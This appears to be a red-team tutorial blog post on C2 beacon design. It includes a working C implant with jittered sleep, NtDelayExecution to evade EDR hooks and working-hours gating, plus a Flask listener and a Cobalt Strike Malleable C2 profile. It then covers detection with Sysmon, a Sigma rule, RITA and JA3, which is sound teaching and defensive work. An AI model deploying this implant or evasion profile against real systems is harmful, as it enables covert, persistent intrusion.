C2 Beaconing: Sleep, Jitter, and Communication Patterns

By Debraj Basak·Jul 17, 2026·12 min readRed Teaming

You’ve got a shell on the target. Now what? That implant needs to call home, but every check-in is a detection opportunity. The difference between a beacon that survives 72 hours and one that gets flagged in 20 minutes usually comes down to three things: how long it sleeps, how much it randomizes that sleep, and what the traffic looks like on the wire. This tutorial builds a minimal C beacon from scratch, runs it against a self-made listener, captures the traffic, and then shows you exactly how defenders catch it.


1. Beacon Architecture in 60 Seconds

A C2 beacon is a loop. Wake up, phone home, check for tasks, execute if any, go back to sleep. The operator never talks directly to the implant; traffic flows through at least one redirector or team server sitting between them.

The critical moving parts:

ComponentRole
Implant (beacon)Runs on the target; initiates all outbound comms on a timer
Team serverQueues tasks, receives output, manages sessions
RedirectorProxies traffic so the team server IP stays hidden
Sleep timerMillisecond wait between check-ins (Sleep, NtDelayExecution)
JitterRandom variance applied to the timer so intervals aren’t uniform
Protocol layerHTTP/S, DNS, SMB named pipe, raw TCP

Staged implants pull down a second-stage payload after initial execution. Stageless implants carry everything. For beaconing behavior, the distinction doesn’t matter: both enter the same sleep/check-in loop once running.

Flowchart showing the C2 beacon communication chain from implant on victim host through a redirector to the team server and operator console, with task and response traffic flowing in both directions
All traffic is operator-initiated from the implant side; the team server IP stays hidden behind at least one redirector.

2. The Sleep Timer and Windows APIs

The simplest beacon calls Sleep(60000) and checks in every minute. Cobalt Strike’s default sleeptime is exactly 60000 ms. That works, but kernel32!Sleep is one of the first API calls EDR vendors hook because it’s trivial to instrument.

Alternatives to Sleep

API / SyscallWhy a beacon uses it
Sleep(DWORD dwMilliseconds)Simplest; heavily hooked by EDR
WaitForSingleObject(hEvent, dwTimeout)Event-driven wait; slightly less suspicious call site
CreateWaitableTimerEx + SetWaitableTimerHigh-precision timer object; avoids Sleep import entirely
NtDelayExecution(BOOLEAN Alertable, PLARGE_INTEGER Interval)Direct ntdll syscall; bypasses kernel32 hooks; takes negative 100-ns units

I burned an afternoon the first time I used NtDelayExecution because I forgot the interval is negative (relative time) and in 100-nanosecond increments. A 30-second sleep is -300000000 in LARGE_INTEGER.QuadPart, not -30000. Get that wrong and your beacon either never wakes up or fires continuously.

3. Jitter: Formula and Why 0% Gets You Caught

Jitter varies the sleep by a percentage so the inter-arrival times aren’t perfectly periodic. The formula is straightforward:

actual_sleep = base_ms +/- (base_ms * jitter_pct / 100)

A 60-second base with 25% jitter produces check-ins between 45 and 75 seconds. With 0% jitter, every interval is identical, and even a basic autocorrelation on Zeek conn.log timestamps lights up like a Christmas tree.

Cobalt Strike accepts jitter values 0 through 99. In practice, anything below 15% is still fairly detectable by RITA. For initial access, 40-60% jitter during the first 24 to 72 hours is a reasonable starting point.

The C Implementation

#include <windows.h>

// RtlRandomEx is exported by ntdll.dll
extern ULONG NTAPI RtlRandomEx(PULONG Seed);

DWORD compute_sleep(DWORD base_ms, DWORD jitter_pct, PULONG seed) {
    if (jitter_pct == 0) return base_ms;
    DWORD range = (base_ms * jitter_pct) / 100;
    DWORD rnd   = RtlRandomEx(seed) % (range * 2 + 1);
    return (base_ms - range) + rnd;
}

RtlRandomEx is available from user mode without any special stubs on all modern Windows versions. Link against ntdll.lib (or -lntdll with MinGW). If you want to avoid the import, seed rand() with GetTickCount(), but the randomness quality is worse.

Abstract illustration contrasting perfectly uniform beacon intervals on the left with randomized jittered intervals on the right, symbolizing the difference between detectable and stealthy beaconing cadence
Zero-percent jitter produces a perfectly periodic signal that autocorrelation catches trivially; even modest jitter breaks the uniform pattern.

4. Phase-Aware Beaconing

A flat 30-second sleep for the entire engagement is operationally stupid. Real operators shift cadence by phase:

PhaseSleepJitterRationale
Initial access (0-72h)60-180s40-60%Validate the foothold without flooding anomaly detection
Active lateral movement5-15s20-30%Operator needs responsiveness during a session
Idle / persistence300-900s50-70%Minimize traffic volume when no tasks are queued
Outside working hours600s+ or pause entirelyN/AWorkstations don’t phone home at 3 AM to random IPs

Working-hours gating is simple to implement and dramatically reduces the beacon’s exposure window. We’ll add it to the lab implant in Step 6 below.

5. Protocol Selection and Traffic Shaping

The protocol you pick depends on what egress the target environment allows.

ChannelWhen to use itDetection surface
HTTP/S (WinHttpOpen / WinHttpSendRequest)Default; nearly always allowed outboundJA3 fingerprint, header ordering, URI patterns, certificate inspection
DNS (DnsQuery_A)When HTTP egress is locked down; very slowSysmon EID 22; high query volume to a single domain; long subdomain labels
SMB named pipePeer-to-peer lateral within a network; no egress neededSysmon EID 17/18; default pipe names like msagent_*
Raw TCP (connect / send / recv)Custom protocols; rare in mature environmentsUnusual ports; unrecognized protocol on wire

For HTTP/S, the beacon’s User-Agent, header order, and TLS fingerprint matter. Out-of-the-box Go implants (Sliver) present a JA3 hash matching crypto/tls that public databases flag within days. Malleable C2 profiles exist to control all of this.

6. Lab: Build a Minimal C Beacon and Catch It

Lab Setup

  • Attacker VM: Kali or Ubuntu with Python 3 + Flask installed. This runs the listener.
  • Victim VM: Windows 10/11 with Sysmon installed (SwiftOnSecurity config), Wireshark running.
  • Network: Host-only or NAT network. The two VMs can reach each other on TCP 8080.

Step 1: Write the Listener

from flask import Flask, request
import datetime, json

app = Flask(__name__)

@app.route("/api/v1/status", methods=["GET"])
def checkin():
    ts = datetime.datetime.utcnow().isoformat()
    ua = request.headers.get("User-Agent", "unknown")
    print(f"[+] {ts}  src={request.remote_addr}  UA={ua}")
    return json.dumps({"task": "none"}), 200

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8080)

Start it: python3 listener.py. Every beacon check-in prints a timestamped line.

Step 2: Write the Implant

#include <windows.h>
#include <winhttp.h>
#include <stdio.h>

// ntdll imports
extern ULONG NTAPI RtlRandomEx(PULONG Seed);
typedef NTSTATUS (NTAPI *pfnNtDelayExecution)(BOOLEAN, PLARGE_INTEGER);

DWORD compute_sleep(DWORD base_ms, DWORD jitter_pct, PULONG seed) {
    if (jitter_pct == 0) return base_ms;
    DWORD range = (base_ms * jitter_pct) / 100;
    DWORD rnd   = RtlRandomEx(seed) % (range * 2 + 1);
    return (base_ms - range) + rnd;
}

BOOL checkin(LPCWSTR host, INTERNET_PORT port, LPCWSTR path) {
    HINTERNET hSession = WinHttpOpen(
        L"Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
        WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
        WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
    if (!hSession) return FALSE;

    HINTERNET hConnect = WinHttpConnect(hSession, host, port, 0);
    if (!hConnect) { WinHttpCloseHandle(hSession); return FALSE; }

    HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", path,
        NULL, WINHTTP_NO_REFERER,
        WINHTTP_DEFAULT_ACCEPT_TYPES, 0);

    BOOL ok = WinHttpSendRequest(hRequest,
        WINHTTP_NO_ADDITIONAL_HEADERS, 0,
        WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
    if (ok) WinHttpReceiveResponse(hRequest, NULL);

    WinHttpCloseHandle(hRequest);
    WinHttpCloseHandle(hConnect);
    WinHttpCloseHandle(hSession);
    return ok;
}

int main(void) {
    DWORD base_ms    = 30000;  // 30-second base interval
    DWORD jitter_pct = 25;     // +/- 25%
    ULONG seed       = GetTickCount();

    // Resolve NtDelayExecution for evasive sleep
    pfnNtDelayExecution pDelay = (pfnNtDelayExecution)
        GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtDelayExecution");

    while (1) {
        checkin(L"192.168.56.10", 8080, L"/api/v1/status");

        DWORD sleep_ms = compute_sleep(base_ms, jitter_pct, &seed);

        if (pDelay) {
            LARGE_INTEGER li;
            li.QuadPart = -(LONGLONG)sleep_ms * 10000;  // ms -> 100ns
            pDelay(FALSE, &li);
        } else {
            Sleep(sleep_ms);  // fallback
        }
    }
}

Step 3: Cross-Compile

x86_64-w64-mingw32-gcc beacon.c -o beacon.exe -lwinhttp -lntdll -mwindows

Copy beacon.exe to the Windows VM and run it. You should see check-in lines appearing on the listener console at roughly 22 to 37 second intervals (30s +/- 25%).

Step 4: Capture and Analyze Timing

On the victim VM, capture traffic with Wireshark or on the attacker side with tshark:

tshark -r beacon.pcapng -Y "http.request.method == GET" \
    -T fields -e frame.time_relative -e http.host -e http.request.uri

Compute inter-arrival deltas. With 0% jitter (change the code, recompile, rerun) the delta column is a flat 30.0, 30.0, 30.0. Trivially detectable. With 25% jitter, you get 26.4, 33.1, 22.8, 29.7. Still detectable by statistical analysis, but no longer by a simple “fixed interval” rule.

Step 5: Add Working-Hours Gating

Insert this at the top of the while loop:

SYSTEMTIME st;
GetLocalTime(&st);
if (st.wHour < 9 || st.wHour >= 17) {
    Sleep(600000);   // 10-minute idle outside business hours
    continue;
}

Now the beacon goes nearly silent outside 09:00 to 17:00. Rerun and confirm in the capture: traffic drops to one connection every 10 minutes after 5 PM.

Step 6: Feed to RITA

Export the capture as Zeek logs (or run Zeek directly on the attacker interface), then import:

zeek -r beacon.pcapng
rita import ./ lab_beacon
rita show-beacons lab_beacon

RITA scores beaconing by analyzing connection frequency, byte-count regularity, and interval consistency. Even with 25% jitter, our beacon scores high because the byte counts are uniform and the connection count is elevated. The data_jitter concept (padding responses with random null bytes) exists specifically to defeat this byte-count analysis.


7. Cobalt Strike Malleable C2 Profiles: Field-by-Field

A Malleable C2 profile controls every byte of beacon traffic. The key global fields:

set sleeptime "60000";        # ms between check-ins
set jitter    "37";           # percentage variance
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";
set data_jitter "128";        # random null-byte padding on responses (bytes)
set maxdns    "255";          # max DNS label length for DNS beacons
set pipename  "msagent_###";  # SMB pipe name; ### = random hex
set sleep_mask "true";        # obfuscate beacon in-memory during sleep

The profile then defines http-get and http-post blocks that control the request/response structure:

http-get {
    set uri "/api/v1/updates";
    client {
        header "Accept" "application/json";
        metadata {
            base64url;
            header "Cookie";   # encoded host metadata goes into Cookie header
        }
    }
    server {
        header "Content-Type" "application/json";
        output {
            base64;
            print;             # task data in response body
        }
    }
}

Metadata encoding options are base64, base64url, netbios, and netbiosu. Termination statements (where to place the encoded data) are print (body), header, parameter, and uri-append.

Validate every profile with c2lint before loading. A profile that fails c2lint can break staging or cause the beacon to crash on check-in. I have seen profiles pass c2lint on 4.5 and silently break on 4.7 because of tightened validation, so always test against the exact version you’re running.


8. Defensive Strategies and Detection

Sysmon Event IDs

Event IDNameWhat to hunt
3Network ConnectionPeriodic outbound from unusual processes; correlate Image, DestinationIp, DestinationPort
1Process CreationBeacon process lineage; download cradle command lines
22DNS QueryHigh-volume queries to a single domain; long subdomain labels (DNS beaconing)
17Pipe CreatedNamed pipes matching Cobalt Strike defaults (msagent_*, postex_*)
18Pipe ConnectedConnections to suspicious pipes (SMB lateral C2)

Sigma Rule: Periodic Outbound from LOLBin

title: Periodic Outbound HTTP from Script Host or LOLBin
status: experimental
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 3
    Initiated: 'true'
    Image|endswith:
      - '\rundll32.exe'
      - '\regsvr32.exe'
      - '\mshta.exe'
      - '\wscript.exe'
      - '\cscript.exe'
    DestinationPort:
      - 80
      - 443
      - 8080
      - 8443
  condition: selection
  # In practice, pair with SIEM aggregation: count() by Image, DestinationIp > 10 in 1h
falsepositives:
  - Legitimate update mechanisms
level: medium
tags:
  - attack.command_and_control
  - attack.t1071.001

Note: the count() by ... > 10 aggregation requires SIEM-level correlation (Elastic EQL, Splunk stats, or Sentinel KQL). Pure Sigma handles the filter; the aggregation is a SIEM rule on top.

ETW Providers Worth Enabling

ProviderWhat it gives you
Microsoft-Windows-WinHttpFull WinHTTP request lifecycle, catches WinHttpSendRequest calls
Microsoft-Windows-DNS-ClientDNS queries at the resolver level; pairs with Sysmon EID 22
Microsoft-Windows-TCPIPTCP state changes for raw-socket beacons

Network-Level Detection

RITA (rita show-beacons) remains the single most effective tool for identifying beaconing in Zeek logs. It scores connections by interval regularity, byte-count consistency, and connection count. Even heavily jittered beacons with uniform response sizes score high.

JA3/JA3S fingerprinting catches default TLS stacks. Compare hashes against ja3er.com; a Go crypto/tls fingerprint from a process that isn’t a known Go application is a strong signal.

Hardening Checklist

  • Block direct-to-internet TCP 80/443 from non-browser processes at the firewall.
  • Perform TLS inspection at the proxy; flag unknown JA3 hashes.
  • Sinkhole domains registered fewer than 30 days ago via DNS RPZ.
  • Hunt for Cobalt Strike default pipe names with Sysmon EID 17.
  • Baseline outbound connections by hour; alert on after-hours traffic to uncategorized destinations.
  • Run pe-sieve or Moneta periodically to detect RWX regions characteristic of in-memory beacons, even when sleep_mask is enabled.

Hierarchy diagram showing three detection layers for C2 beaconing: host layer with Sysmon event IDs 3, 22, and 17/18; network layer with RITA beacon scoring and JA3 TLS fingerprinting; and memory layer with RWX region scanning via pe-sieve
Stacking host, network, and memory detection layers forces an attacker to defeat all three simultaneously to sustain long-term beaconing.

9. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Web Protocols (HTTP/S beaconing)T1071.001Sysmon EID 3, proxy logs, RITA
DNS (DNS beaconing)T1071.004Sysmon EID 22, DNS query volume analysis
Encrypted ChannelT1573JA3 fingerprinting, TLS inspection
Standard Encoding (Base64 in headers)T1132.001Payload inspection at proxy
Non-Standard Encoding (netbios encoding)T1132.002Deep packet inspection
Domain FrontingT1090.004CDN log correlation, SNI vs Host header mismatch
Non-Application Layer ProtocolT1095Firewall logs, protocol anomaly detection

10. Tools

ToolDescriptionLink
RITABeacon detection via Zeek log analysisgithub.com/activecm/rita
ZeekNetwork traffic analysis; generates conn.log for timing analysiszeek.org
Wireshark / tsharkPacket capture and protocol dissectionwireshark.org
SysmonWindows system monitor; EID 3/17/22 are criticaldocs.microsoft.com
pe-sieveIn-memory beacon detection; scans for suspicious PE regionsgithub.com/hasherezade/pe-sieve
MonetaMemory scanner for RWX regions and beacon artifactsgithub.com/forrest-orr/moneta
ja3er.comJA3 fingerprint database for TLS client identificationja3er.com
c2lintCobalt Strike profile validatorBundled with Cobalt Strike
x86_64-w64-mingw32-gccMinGW cross-compiler for building Windows implants on Linuxmingw-w64.org

Summary

  • A beacon is a timed loop: wake, check in, sleep. The sleep interval, jitter percentage, and protocol choice determine how long it survives.
  • Zero-percent jitter is an instant detection. Even moderate jitter (25%) gets caught by RITA’s statistical scoring. Combine high jitter (40%+) with data_jitter (variable response padding) and working-hours gating to reduce exposure.
  • NtDelayExecution replaces Sleep to dodge kernel32 hooks, but the network traffic pattern remains the real detection surface.
  • Malleable C2 profiles control every byte on the wire: sleeptime, jitter, data_jitter, User-Agent, header ordering, metadata encoding, and pipe names. Always validate with c2lint.
  • Defenders win by correlating layers: Sysmon EID 3 (network connections) and EID 22 (DNS queries) on the host, RITA and JA3 fingerprinting on the network, and pe-sieve/Moneta in memory. No single layer catches everything, but stacking them makes sustained beaconing very expensive for the operator.

Related Tutorials

References

Get new drops in your inbox

Windows internals, exploit dev, and red-team write-ups - no spam, unsubscribe anytime.